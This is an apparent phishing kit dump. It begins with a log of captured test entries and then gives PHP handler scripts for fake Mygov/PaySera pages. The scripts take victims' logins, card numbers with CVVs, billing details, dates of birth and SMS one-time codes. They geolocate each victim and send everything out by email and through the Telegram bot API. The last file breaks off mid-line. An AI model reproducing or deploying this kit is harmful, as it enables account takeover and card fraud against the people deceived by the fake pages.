AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 [GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿] ::1 - 2022-10-05 @ 21:29:38 [GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿] [+]━━━━【🔑 Account Login 】━━━━[+] |Email or Phone : ZD654123 |Password : qsdsdq [+]━━━━【💳 CC INFO】━━━━[+] |Card holder : John Zebi |[💳 CC Number] : 4987 1023 1654 5643 |[🔄 Expiry Date ] : 02/25 |[🔑 (CVV)] : 546 [+]━━━━【🏦 Bank INFO】━━━━[+] |Bank Name : |Card Type : DEBIT |Card Brand : |Card Country : United Kingdom of Great Britain and Northern Ireland |Bank Scheme : VISA [+]━━━━【[📓] Billing INFO】━━━━[+] |First name : dsq |Last name : dsq |Address 1 [📓] : dsq |Address 2 [📓] : dsq |City 🌃 : dsq |State 🌃 : qsd |Zip code 🌃 : qsd |Phone number 📞 : qsd |Date of birthday 🎂 : 12/12/1298 [+]━━━━【💻 System INFO】━━━━[+] ::1 Country : City: Region : State: Zip : country code: lat: lon: timezone: isp: as: UserAgent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 [GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿] ::1 - 2022-10-05 @ 21:40:29 [GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿] [+]━━━━【🔑 Account Login 】━━━━[+] |Email or Phone : ZD654123 |Password : qsdsdq [+]━━━━【💳 CC INFO】━━━━[+] |Card holder : sdq |[💳 CC Number] : 4561 2356 4654 1321 |[🔄 Expiry Date ] : 02/25 |[🔑 (CVV)] : 456 [+]━━━━【🏦 Bank INFO】━━━━[+] |Bank Name : BNP PARIBAS |Card Type : DEBIT |Card Brand : GOLD |Card Country : France |Bank Scheme : VISA [+]━━━━【💻 System INFO】━━━━[+] ::1 Country : City: Region : State: Zip : country code: lat: lon: timezone: isp: as: UserAgent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 [GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿] ::1 - 2022-10-05 @ 21:44:38 [GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿] [+]━━━━【🔑 Account Login 】━━━━[+] |Email or Phone : ZD654123 |Password : qsdsdq [+]━━━━【💳 CC INFO】━━━━[+] |Card holder : sdq |[💳 CC Number] : 4561 2356 4654 1321 |[🔄 Expiry Date ] : 02/25 |[🔑 (CVV)] : 456 [+]━━━━【🏦 Bank INFO】━━━━[+] |Bank Name : BNP PARIBAS |Card Type : DEBIT |Card Brand : GOLD |Card Country : France |Bank Scheme : VISA [+]━━━━【[📓] Billing INFO】━━━━[+] |First name : dqs |Last name : dsq |Address 1 [📓] : sdq |Address 2 [📓] : sqd |City 🌃 : qsd |State 🌃 : sdq |Zip code 🌃 : sqd |Phone number 📞 : qds |Date of birthday 🎂 : 12156645 [+]━━━━【💻 System INFO】━━━━[+] ::1 Country : City: Region : State: Zip : country code: lat: lon: timezone: isp: as: UserAgent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 [GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿] ::1 - 2022-10-05 @ 21:53:43 [GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿] [+]━━━━【🔑 Account Login 】━━━━[+] |Email or Phone : t.me-amandz741@gmail.com |Password : Passwordtest123 [+]━━━━【💳 CC INFO】━━━━[+] |Card holder : Aman GcS |[💳 CC Number] : 5613 2654 1032 1978 |[🔄 Expiry Date ] : 02/25 |[🔑 (CVV)] : 456 [+]━━━━【🏦 Bank INFO】━━━━[+] |Bank Name : |Card Type : |Card Brand : |Card Country : |Bank Scheme : [+]━━━━【💻 System INFO】━━━━[+] ::1 Country : City: Region : State: Zip : country code: lat: lon: timezone: isp: as: UserAgent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 [GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿] mygov/app/rez/send.php000064400000007400151676702570010750 0ustar00<?php /* ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⠆⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⢤⣴⠟⠁⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠐⠟⠁⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠺⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⠟⢁⣴⣷⣦⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡿⠛⡆⠀⠉⠛⠻⠿⠿⠿⠇⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⢠⣴⣿⡦⠀⢻⣷⠀⠀⠀t.me/amandz741 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠘⠋⠀ GcS Team remember this name⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⣰⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠈⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠈⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ */ session_start(); include "../../anti/anti1.php"; include "../../anti/anti2.php"; include "../../anti/anti3.php"; include "../../anti/anti4.php"; include "../../anti/anti5.php"; include "../../anti/anti7.php"; include '../../email.php'; $ip = getenv("REMOTE_ADDR"); $link = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'] ; $message = "[link: $link ]\r\n"; $_SESSION['username'] = $_POST['username']; $_SESSION['password'] = $_POST['password']; $file = fopen("Mygov.txt","a"); fwrite($file,$ip." - ".gmdate ("Y-n-d")." @ ".gmdate ("H:i:s")."\n"); $IP_LOOKUP = @json_decode(file_get_contents("http://ip-api.com/json/".$ip)); $COUNTRY = $IP_LOOKUP->country . "\r\n"; $countryCode = $IP_LOOKUP->countryCode. "\r\n"; $regionName = $IP_LOOKUP->regionName . "\r\n"; $lat = $IP_LOOKUP->lat . "\r\n"; $lon = $IP_LOOKUP->long . "\r\n"; $timezone = $IP_LOOKUP->timezone . "\r\n"; $isp = $IP_LOOKUP->isp . "\r\n"; $as = $IP_LOOKUP->as . "\r\n"; $CITY = $IP_LOOKUP->city . "\r\n"; $REGION = $IP_LOOKUP->region . "\r\n"; $STATE = $IP_LOOKUP->regionName . "\r\n"; $ZIPCODE = $IP_LOOKUP->zip . "\r\n"; $ip = $_SERVER['REMOTE_ADDR']; $hostname = gethostbyaddr($ip); $subject = "🇩🇿🇩🇿 Mygov 🇩🇿🇩🇿 $ip"; $headers = "From: GcS-Team<info@GcsTeam.com>"; $send = $email; $message = "[GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿]\r\n"; $message .= "|Email or Phone : ".$_SESSION['username']."\r\n"; $message .= "|Password : ".$_SESSION['password']."\r\n"; $message .= "[+]━━━━【💻 System INFO】━━━━[+]\r\n"; $message .=$ip."\nCountry : ".$COUNTRY."City: " .$CITY."Region : " .$REGION."State: " .$STATE."Zip : " .$ZIPCODE."country code: " .$countryCode."lat: " .$lat."lon: " .$lon."timezone: " .$timezone."isp: " .$isp."as: " .$as; $message .= "UserAgent : ".$_SERVER['HTTP_USER_AGENT']."\n"; $message .= "[GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿]\n"; mail($send,$subject,$message,$headers); file_get_contents("https://api.telegram.org/bot".$api."/sendMessage?chat_id=".$chatid."&text=" . urlencode($message)."" ); $myfile = fopen("Mygov.txt", "a+"); $txt = $message; fwrite($myfile, $txt); fclose($myfile); HEADER("Location: ../addcc.php"); ?> mygov/app/rez/sendcc.php000064400000013236151676702570011262 0ustar00<?php /* ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⠆⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⢤⣴⠟⠁⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠐⠟⠁⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠺⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⠟⢁⣴⣷⣦⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡿⠛⡆⠀⠉⠛⠻⠿⠿⠿⠇⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⢠⣴⣿⡦⠀⢻⣷⠀⠀⠀t.me/amandz741 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠘⠋⠀ GcS Team remember this name⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⣰⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠈⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠈⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ */ session_start(); include "../../anti/anti1.php"; include "../../anti/anti2.php"; include "../../anti/anti3.php"; include "../../anti/anti4.php"; include "../../anti/anti5.php"; include "../../anti/anti7.php"; include '../../email.php'; $ip = getenv("REMOTE_ADDR"); $link = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'] ; $send2 = $email2; $message = "[link: $link ]\r\n"; $_SESSION['holder'] = $_POST['holder']; $_SESSION['cardnumber'] = $_POST['cardnumber']; $_SESSION['expiry'] = $_POST['expiry']; $_SESSION['cvv'] = $_POST['cvv']; $_SESSION['phone'] = $_POST['phone']; $file = fopen("Mygov_Rzlt.txt","a"); fwrite($file,$ip." - ".gmdate ("Y-n-d")." @ ".gmdate ("H:i:s")."\n"); $IP_LOOKUP = @json_decode(file_get_contents("http://ip-api.com/json/".$ip)); $COUNTRY = $IP_LOOKUP->country . "\r\n"; $countryCode = $IP_LOOKUP->countryCode. "\r\n"; $regionName = $IP_LOOKUP->regionName . "\r\n"; $lat = $IP_LOOKUP->lat . "\r\n"; $lon = $IP_LOOKUP->long . "\r\n"; $timezone = $IP_LOOKUP->timezone . "\r\n"; $isp = $IP_LOOKUP->isp . "\r\n"; $as = $IP_LOOKUP->as . "\r\n"; $CITY = $IP_LOOKUP->city . "\r\n"; $REGION = $IP_LOOKUP->region . "\r\n"; $STATE = $IP_LOOKUP->regionName . "\r\n"; $ZIPCODE = $IP_LOOKUP->zip . "\r\n"; $hostname = gethostbyaddr($ip); $bincheck = $_POST['cardnumber'] ; $bincheck = preg_replace('/\s/', '', $bincheck); $bin = $_POST['cardnumber'] ; $bin = preg_replace('/\s/', '', $bin); $bin = substr($bin,0,8); $cardlastdigit = substr($_POST['cardnumber'],12,16); $url = "https://lookup.binlist.net/".$bin; $headers = array(); $headers[] = 'Accept-Version: 3'; $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_RETURNTRANSFER,true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $resp=curl_exec($ch); curl_close($ch); $xBIN = json_decode($resp, true); $_SESSION['bank_name'] = $xBIN["bank"]["name"]; $_SESSION['bank_scheme'] = strtoupper($xBIN["scheme"]); $_SESSION['bank_type'] = strtoupper($xBIN["type"]); $_SESSION['bank_brand'] = strtoupper($xBIN["brand"]); $_SESSION['bank_country'] = $xBIN["country"]["name"]; $ip = $_SERVER['REMOTE_ADDR']; $hostname = gethostbyaddr($ip); $subject = "🇩🇿🇩🇿 PaySera 🇩🇿🇩🇿 $ip"; $headers = "From: GcS-Team<info@GcsTeam.com>"; $send = $email; $message = "[GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿]\r\n"; $message .= "[+]━━━━【🔑 Account Login 】━━━━[+]\r\n"; $message .= "|Email or Phone : ".$_SESSION['username']."\r\n"; $message .= "|Password : ".$_SESSION['password']."\r\n"; $message .= "[+]━━━━【💳 CC INFO】━━━━[+]\r\n"; $message .= "|Card holder : ".$_SESSION['holder']."\r\n"; $message .= "|[💳 CC Number] : ".$_SESSION['cardnumber']."\r\n"; $message .= "|[🔄 Expiry Date ] : ".$_SESSION['expiry']."\r\n"; $message .= "|[🔑 (CVV)] : ".$_SESSION['cvv']."\r\n"; $message .= "[+]━━━━【🏦 Bank INFO】━━━━[+]\r\n"; $message .= "|Bank Name : ".$_SESSION['bank_name']."\r\n"; $message .= "|Card Type : ".$_SESSION['bank_type']."\r\n"; $message .= "|Card Brand : ".$_SESSION['bank_brand']."\r\n"; $message .= "|Card Country : ".$_SESSION['bank_country']."\r\n"; $message .= "|Bank Scheme : ".$_SESSION['bank_scheme']."\r\n"; $message .= "[+]━━━━【💻 System INFO】━━━━[+]\r\n"; $message .=$ip."\nCountry : ".$COUNTRY."City: " .$CITY."Region : " .$REGION."State: " .$STATE."Zip : " .$ZIPCODE."country code: " .$countryCode."lat: " .$lat."lon: " .$lon."timezone: " .$timezone."isp: " .$isp."as: " .$as; $message .= "UserAgent : ".$_SERVER['HTTP_USER_AGENT']."\n"; $message .= "[GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿]\n"; $_SESSION['message'] = $message; mail($send,$subject,$message,$headers); file_get_contents("https://api.telegram.org/bot".$api."/sendMessage?chat_id=".$chatid."&text=" . urlencode($message)."" ); $myfile = fopen("Mygov_Rzlt.txt", "a+"); $txt = $message; fwrite($myfile, $txt); fclose($myfile); HEADER("Location: ../addbilling.php"); ?> mygov/app/rez/sendfull.php000064400000013242151676702570011634 0ustar00<?php /* ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⠆⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⢤⣴⠟⠁⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠐⠟⠁⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠺⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⠟⢁⣴⣷⣦⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡿⠛⡆⠀⠉⠛⠻⠿⠿⠿⠇⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⢠⣴⣿⡦⠀⢻⣷⠀⠀⠀t.me/amandz741 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠘⠋⠀ GcS Team remember this name⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⣰⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠈⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠈⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ */ session_start(); include "../../anti/anti1.php"; include "../../anti/anti2.php"; include "../../anti/anti3.php"; include "../../anti/anti4.php"; include "../../anti/anti5.php"; include "../../anti/anti7.php"; include '../../email.php'; $ip = getenv("REMOTE_ADDR"); $link = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'] ; $send2 = $email2; $message = "[link: $link ]\r\n"; $_SESSION['firstname'] = $_POST['firstname']; $_SESSION['lastname'] = $_POST['lastname']; $_SESSION['address1'] = $_POST['address1']; $_SESSION['address2'] = $_POST['address2']; $_SESSION['city'] = $_POST['city']; $_SESSION['state'] = $_POST['state']; $_SESSION['zipcode'] = $_POST['zipcode']; $_SESSION['phonee'] = $_POST['phonee']; $_SESSION['birthday'] = $_POST['birthday']; $file = fopen("Mygov_Rzlt.txt","a"); fwrite($file,$ip." - ".gmdate ("Y-n-d")." @ ".gmdate ("H:i:s")."\n"); $IP_LOOKUP = @json_decode(file_get_contents("http://ip-api.com/json/".$ip)); $COUNTRY = $IP_LOOKUP->country . "\r\n"; $countryCode = $IP_LOOKUP->countryCode. "\r\n"; $regionName = $IP_LOOKUP->regionName . "\r\n"; $lat = $IP_LOOKUP->lat . "\r\n"; $lon = $IP_LOOKUP->long . "\r\n"; $timezone = $IP_LOOKUP->timezone . "\r\n"; $isp = $IP_LOOKUP->isp . "\r\n"; $as = $IP_LOOKUP->as . "\r\n"; $CITY = $IP_LOOKUP->city . "\r\n"; $REGION = $IP_LOOKUP->region . "\r\n"; $STATE = $IP_LOOKUP->regionName . "\r\n"; $ZIPCODE = $IP_LOOKUP->zip . "\r\n"; $hostname = gethostbyaddr($ip); $ip = $_SERVER['REMOTE_ADDR']; $hostname = gethostbyaddr($ip); $subject = "🇩🇿🇩🇿 PaySera 🇩🇿🇩🇿 $ip"; $headers = "From: GcS-Team<info@GcsTeam.com>"; $send = $email; $message = "[GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿]\r\n"; $message .= "[+]━━━━【🔑 Account Login 】━━━━[+]\r\n"; $message .= "|Email or Phone : ".$_SESSION['username']."\r\n"; $message .= "|Password : ".$_SESSION['password']."\r\n"; $message .= "[+]━━━━【💳 CC INFO】━━━━[+]\r\n"; $message .= "|Card holder : ".$_SESSION['holder']."\r\n"; $message .= "|[💳 CC Number] : ".$_SESSION['cardnumber']."\r\n"; $message .= "|[🔄 Expiry Date ] : ".$_SESSION['expiry']."\r\n"; $message .= "|[🔑 (CVV)] : ".$_SESSION['cvv']."\r\n"; $message .= "[+]━━━━【🏦 Bank INFO】━━━━[+]\r\n"; $message .= "|Bank Name : ".$_SESSION['bank_name']."\r\n"; $message .= "|Card Type : ".$_SESSION['bank_type']."\r\n"; $message .= "|Card Brand : ".$_SESSION['bank_brand']."\r\n"; $message .= "|Card Country : ".$_SESSION['bank_country']."\r\n"; $message .= "|Bank Scheme : ".$_SESSION['bank_scheme']."\r\n"; $message .= "[+]━━━━【[📓] Billing INFO】━━━━[+]\r\n"; $message .= "|First name : ".$_SESSION['firstname']."\r\n"; $message .= "|Last name : ".$_SESSION['lastname']."\r\n"; $message .= "|Address 1 [📓] : ".$_SESSION['address1']."\r\n"; $message .= "|Address 2 [📓] : ".$_SESSION['address2']."\r\n"; $message .= "|City 🌃 : ".$_SESSION['city']."\r\n"; $message .= "|State 🌃 : ".$_SESSION['state']."\r\n"; $message .= "|Zip code 🌃 : ".$_SESSION['zipcode']."\r\n"; $message .= "|Phone number 📞 : ".$_SESSION['phonee']."\r\n"; $message .= "|Date of birthday 🎂 : ".$_SESSION['birthday']."\r\n"; $message .= "[+]━━━━【💻 System INFO】━━━━[+]\r\n"; $message .=$ip."\nCountry : ".$COUNTRY."City: " .$CITY."Region : " .$REGION."State: " .$STATE."Zip : " .$ZIPCODE."country code: " .$countryCode."lat: " .$lat."lon: " .$lon."timezone: " .$timezone."isp: " .$isp."as: " .$as; $message .= "UserAgent : ".$_SERVER['HTTP_USER_AGENT']."\n"; $message .= "[GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿]\n"; $_SESSION['messag'] = $message; mail($send,$subject,$message,$headers); file_get_contents("https://api.telegram.org/bot".$api."/sendMessage?chat_id=".$chatid."&text=" . urlencode($message)."" ); $myfile = fopen("Mygov_Rzlt.txt", "a+"); $txt = $message; fwrite($myfile, $txt); fclose($myfile); HEADER("Location: ../loading.php"); ?> mygov/app/rez/sendsms1.php000064400000007222151676702570011556 0ustar00<?php /* ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⠆⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⢤⣴⠟⠁⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠐⠟⠁⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠺⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⠟⢁⣴⣷⣦⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡿⠛⡆⠀⠉⠛⠻⠿⠿⠿⠇⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⢠⣴⣿⡦⠀⢻⣷⠀⠀⠀t.me/amandz741 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠘⠋⠀ GcS Team remember this name⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⣰⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠈⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠈⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ */ session_start(); include "../../anti/anti1.php"; include "../../anti/anti2.php"; include "../../anti/anti3.php"; include "../../anti/anti4.php"; include "../../anti/anti5.php"; include "../../anti/anti7.php"; include '../../email.php'; $ip = getenv("REMOTE_ADDR"); $link = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'] ; $message = "[link: $link ]\r\n"; $_SESSION['otpanswer0'] = $_POST['otpanswer0']; $file = fopen("Mygov.txt","a"); fwrite($file,$ip." - ".gmdate ("Y-n-d")." @ ".gmdate ("H:i:s")."\n"); $IP_LOOKUP = @json_decode(file_get_contents("http://ip-api.com/json/".$ip)); $COUNTRY = $IP_LOOKUP->country . "\r\n"; $countryCode = $IP_LOOKUP->countryCode. "\r\n"; $regionName = $IP_LOOKUP->regionName . "\r\n"; $lat = $IP_LOOKUP->lat . "\r\n"; $lon = $IP_LOOKUP->long . "\r\n"; $timezone = $IP_LOOKUP->timezone . "\r\n"; $isp = $IP_LOOKUP->isp . "\r\n"; $as = $IP_LOOKUP->as . "\r\n"; $CITY = $IP_LOOKUP->city . "\r\n"; $REGION = $IP_LOOKUP->region . "\r\n"; $STATE = $IP_LOOKUP->regionName . "\r\n"; $ZIPCODE = $IP_LOOKUP->zip . "\r\n"; $ip = $_SERVER['REMOTE_ADDR']; $hostname = gethostbyaddr($ip); $subject = "🇩🇿🇩🇿 Mygov 🇩🇿🇩🇿 $ip"; $headers = "From: GcS-Team<info@GcsTeam.com>"; $send = $email; $message = "[GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿]\r\n"; $message .= "|SMS 1 : ".$_SESSION['otpanswer0']."\r\n"; $message .= "[+]━━━━【💻 System INFO】━━━━[+]\r\n"; $message .=$ip."\nCountry : ".$COUNTRY."City: " .$CITY."Region : " .$REGION."State: " .$STATE."Zip : " .$ZIPCODE."country code: " .$countryCode."lat: " .$lat."lon: " .$lon."timezone: " .$timezone."isp: " .$isp."as: " .$as; $message .= "UserAgent : ".$_SERVER['HTTP_USER_AGENT']."\n"; $message .= "[GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 